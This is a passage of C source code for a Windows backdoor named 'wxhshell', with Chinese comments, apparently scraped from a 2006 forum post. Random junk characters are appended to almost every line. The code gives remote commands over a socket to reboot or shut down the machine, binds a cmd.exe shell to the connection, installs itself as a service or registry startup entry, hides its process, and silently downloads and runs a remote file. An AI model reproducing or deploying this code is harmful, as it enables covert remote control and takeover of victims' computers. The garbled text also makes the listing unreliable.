  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pj$kSS|m6-  
  else Yl =-j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gwr?(:?  
  } [Sj"gLj  
  else { Ns]$+|  
jig3M N  
    switch(cmd[0]) { bd H+M?k  
  I%NeCd  
  // 帮助 S gssNv  
  case '?': { )Y6\"-M[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {yDQncq'^  
    break; 33&l.[A"!}  
  } lOM8%{.'_x  
  // 安装 eAStpG"*  
  case 'i': { .osG"cS  
    if(Install()) qWf[X'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DF UTQ:N  
    else ;y-:)7J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j{D tjV8  
    break; &xZSM,  
    } )+ 'r-AF*  
  // 卸载 7 IJn9b  
  case 'r': { 4sW'pH  
    if(Uninstall()) u%lUi2P2E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kP'm$+1or  
    else p:W{c/tV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); efE=5%O  
    break; ":q+"*fy  
    } T8&eaAoo  
  // 显示 wxhshell 所在路径 97~>gFU77#  
  case 'p': { TZGk[u^*  
    char svExeFile[MAX_PATH]; jFip-=T{4  
    strcpy(svExeFile,"\n\r");  e<(6x[_  
      strcat(svExeFile,ExeFile); o1"N{ Eu  
        send(wsh,svExeFile,strlen(svExeFile),0); d]:G#<.  
    break; c,O;B_}M]  
    } +TX4,"  
  // 重启 pjl>ZoOM  
  case 'b': { RR's W@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #c":y5:  
    if(Boot(REBOOT)) v+}${h9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A}}dc:$C  
    else { kKjcW` [  
    closesocket(wsh); HA7%8R*.2i  
    ExitThread(0); 5W$Jxuyqj  
    } &n#yxv4  
    break; &=kb>*  
    } O;i0xWUh  
  // 关机 e ;^}@X  
  case 'd': { z' Z[mrLq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &,=FPlTC=  
    if(Boot(SHUTDOWN)) k2tSgJW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \q3ui}-9  
    else { qozvNJm)  
    closesocket(wsh); y. 1F@w|  
    ExitThread(0); 2i;ox*SfpU  
    } cD=IFOB*GD  
    break; N UJ $)qNA  
    } ly35n`  
  // 获取shell aC%Q.+-t  
  case 's': { Jgg<u#  
    CmdShell(wsh); l5~O}`gfh  
    closesocket(wsh); ml Cg&fnDB  
    ExitThread(0); 1e7I2g  
    break; ek U%^R<  
  } (9kR'kr  
  // 退出 #HW<@E  
  case 'x': { vU5}E\Ny  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ( Cg vI*O  
    CloseIt(wsh); k#u)+e.'  
    break; O|)b$H_  
    } z1 MT@G)S$  
  // 离开 {qbe ye!  
  case 'q': { :>r W`= e'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uv<_.Jq]  
    closesocket(wsh); zx,9x*g  
    WSACleanup(); So8 Dwz?  
    exit(1); psc Fb$b  
    break; i;s;:{cn  
        } Pr(@&:v:  
  } m(}}%VeR"z  
  } 2  
A<"< DDy  
  // 提示信息 GBWL0'COV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UV0[S8A  
} j;7E+Yp  
  } D6l. x]K  
9jX_Eoxy  
  return; gzqp=I[%  
} YYPJ (o\  
b GI){0A  
// shell模块句柄 h3&|yS|  
int CmdShell(SOCKET sock) Crg'AB?  
{ ?w'86^_z  
STARTUPINFO si; 3fB]uq+eD%  
ZeroMemory(&si,sizeof(si)); (Nk[ys}%*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v3FdlE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AO]cnh C  
PROCESS_INFORMATION ProcessInfo; |#M|"7;2z  
char cmdline[]="cmd"; *8m['$oyV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u%+k\/Scp.  
  return 0; hjM?D`5x  
} r 1jt~0&K  
A_9J ~3  
// 自身启动模式 Ox&G  [  
int StartFromService(void) D>@NYqMF  
{ 5oSp/M  
typedef struct FKu8R%9xn%  
{ ed}#S~4q  
  DWORD ExitStatus; Y&8,f|{R  
  DWORD PebBaseAddress; GGr82)E  
  DWORD AffinityMask; 2 \}J*0  
  DWORD BasePriority; %lWOW2~R  
  ULONG UniqueProcessId; qP<D9k>  
  ULONG InheritedFromUniqueProcessId; X<Z(,B  
}   PROCESS_BASIC_INFORMATION; LX oJw$C  
x.wDA3ys  
PROCNTQSIP NtQueryInformationProcess; 7`&ISRU4  
|:JT+a1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xa.8-a"hz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {, +c  
^.\O)K {h  
  HANDLE             hProcess; M}#DX=NZc  
  PROCESS_BASIC_INFORMATION pbi; H?8'(  
(.V),NKG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {?IbbT  
  if(NULL == hInst ) return 0; 9A} *  
#Xox2{~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rzn,N FI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \yFUQq:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wW1\{<hgr  
4C%pKV  
  if (!NtQueryInformationProcess) return 0; <Nqbp  
{.jW"0U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y$\|rD^f  
  if(!hProcess) return 0; matna  
c>{QTI:]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M3O !jN~  
2M'dT Xz  
  CloseHandle(hProcess); RK &>!^  
*wj5(B<y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  16~E  
if(hProcess==NULL) return 0; z]+L=+,,  
rf:H$\yw  
HMODULE hMod; HOFxOBV  
char procName[255]; kDWEgnXK,v  
unsigned long cbNeeded; 7#%Pry  
,&WwADZ-s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =urGs`\  
4}v|^_x-i  
  CloseHandle(hProcess); ;-kDJ i  
BR@m*JGajz  
if(strstr(procName,"services")) return 1; // 以服务启动 uHSnZ"#  
qx[c0X!  
  return 0; // 注册表启动 ektU,Oo  
} -dBWpT  
]kTxVe  
// 主模块 3dj|jw5  
int StartWxhshell(LPSTR lpCmdLine) +jwHYfAK)  
{ `w\P- q  
  SOCKET wsl; 9yC22C:  
BOOL val=TRUE; |oXd4  
  int port=0; y"q>}5  
  struct sockaddr_in door; _7<{+Zzm  
jxkjPf?  
  if(wscfg.ws_autoins) Install();  k-=LD  
bC1G5`v_D  
port=atoi(lpCmdLine); z77>W}d  
}0Ns&6)xG  
if(port<=0) port=wscfg.ws_port; aYb97}kI  
DJ:'<"zH7  
  WSADATA data; poxF`a6e+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G_S>{<[  
G#7(6:=;,`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ud$-A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E6-*2U)k+  
  door.sin_family = AF_INET; M lR~`B}m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /z*Z+OT2  
  door.sin_port = htons(port); </`\3t  
?}4,s7PR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ebQgk Y=  
closesocket(wsl); :1>?:3,`  
return 1; @ gWd  
} ngl +`|u  
d9M[]{  
  if(listen(wsl,2) == INVALID_SOCKET) { c:Nm!+5_(  
closesocket(wsl); f(Of+>   
return 1; ' 1gfXC  
} N8dxgh!,  
  Wxhshell(wsl); ?l^Xauk4Pj  
  WSACleanup(); " L`)^  
&b tI#  
return 0; "U-jZ5o"  
5z!$=SFz  
} XH$r(@Z\7  
YiDOV)  
// 以NT服务方式启动 PU/<7P*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 96(Mu% l  
{ 6^ [ 4.D  
DWORD   status = 0; |2u=3#Jp  
  DWORD   specificError = 0xfffffff; ?!U[~Gq  
@I`^\oJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hDW!pnj1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |j`73@6   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c Rq2 re  
  serviceStatus.dwWin32ExitCode     = 0; VIP7j(#t_g  
  serviceStatus.dwServiceSpecificExitCode = 0; =\WF +r]V  
  serviceStatus.dwCheckPoint       = 0; r@{TN6U  
  serviceStatus.dwWaitHint       = 0; !ka* rd  
!B}9gT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7t:RQ`$:  
  if (hServiceStatusHandle==0) return; yQD>7%x  
dWvVK("Wj  
status = GetLastError(); '|zrzU=  
  if (status!=NO_ERROR) (O5Yd 6u  
{ *{DTxEy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZP<<cyY  
    serviceStatus.dwCheckPoint       = 0; ^!&6 =rb  
    serviceStatus.dwWaitHint       = 0; eMJ>gXA]  
    serviceStatus.dwWin32ExitCode     = status; Zp9. ~&4o-  
    serviceStatus.dwServiceSpecificExitCode = specificError; EJ9hgE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a4__1N^Qj  
    return; U\Wo&giP[  
  } tbd=A]B-  
tTLg;YjN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0 5`"U#`:  
  serviceStatus.dwCheckPoint       = 0; lb-1z]YwQ  
  serviceStatus.dwWaitHint       = 0; l?U=s7s0?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +nDy b  
} [8i)/5D4  
V*uE83x 1  
// 处理NT服务事件,比如:启动、停止 |1~n<=`Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'p&,'+x  
{ qUkM No3  
switch(fdwControl) VI&x1C  
{ FvxM  
case SERVICE_CONTROL_STOP: _s=H|#l  
  serviceStatus.dwWin32ExitCode = 0; lD/9:@q\V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J +u}uN@  
  serviceStatus.dwCheckPoint   = 0; v _MQ]X  
  serviceStatus.dwWaitHint     = 0; l<`>  
  { (90/,@6 6l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _fHml   
  } lT^su'+bk  
  return;  8s0+6{vW  
case SERVICE_CONTROL_PAUSE: MEiP&=gX!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xo34~V@(  
  break;  p+h$]CH  
case SERVICE_CONTROL_CONTINUE: D(AH3`*|#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6}"c4 ^k6  
  break; KUAzJ[>  
case SERVICE_CONTROL_INTERROGATE: TN2Ln?[xU  
  break; mLX/xM/T?/  
};  x]+PWk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "jFf}"  
} )D,KG_7l  
t~) P1Lof\  
// 标准应用程序主函数 2*|T)OA`m,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k {*QU(  
{ ysW})#7X  
&]nx^C8V;  
// 获取操作系统版本 %;,fI'M  
OsIsNt=GetOsVer(); ci~#G[_$S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^`&'u_B!+  
7z b^Z]  
  // 从命令行安装 b dgkA  
  if(strpbrk(lpCmdLine,"iI")) Install(); H@Z_P p?  
;)(g$r^_i  
  // 下载执行文件 .-KI,IU  
if(wscfg.ws_downexe) { $5R2QNg n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cMw<3u\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 54+(o6E<  
} *GT=U(d  
8h=t%zMSb  
if(!OsIsNt) { m\L`$=eO8  
// 如果时win9x,隐藏进程并且设置为注册表启动 b2m={q(s  
HideProc(); Zse&{  
StartWxhshell(lpCmdLine); /Nf{;G!kg  
} ;w7mr1  
else y6XOq>  
  if(StartFromService()) O$,F ga  
  // 以服务方式启动 )U@9dV7u  
  StartServiceCtrlDispatcher(DispatchTable); utlr|m Xc  
else 53HA6:Q[  
  // 普通方式启动 ! _S#8"  
  StartWxhshell(lpCmdLine); ~||0lj.D  
6hxZ5&;(*  
return 0; a+w2cN'  
}
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只看该作者 1 发表于: 2006-10-10
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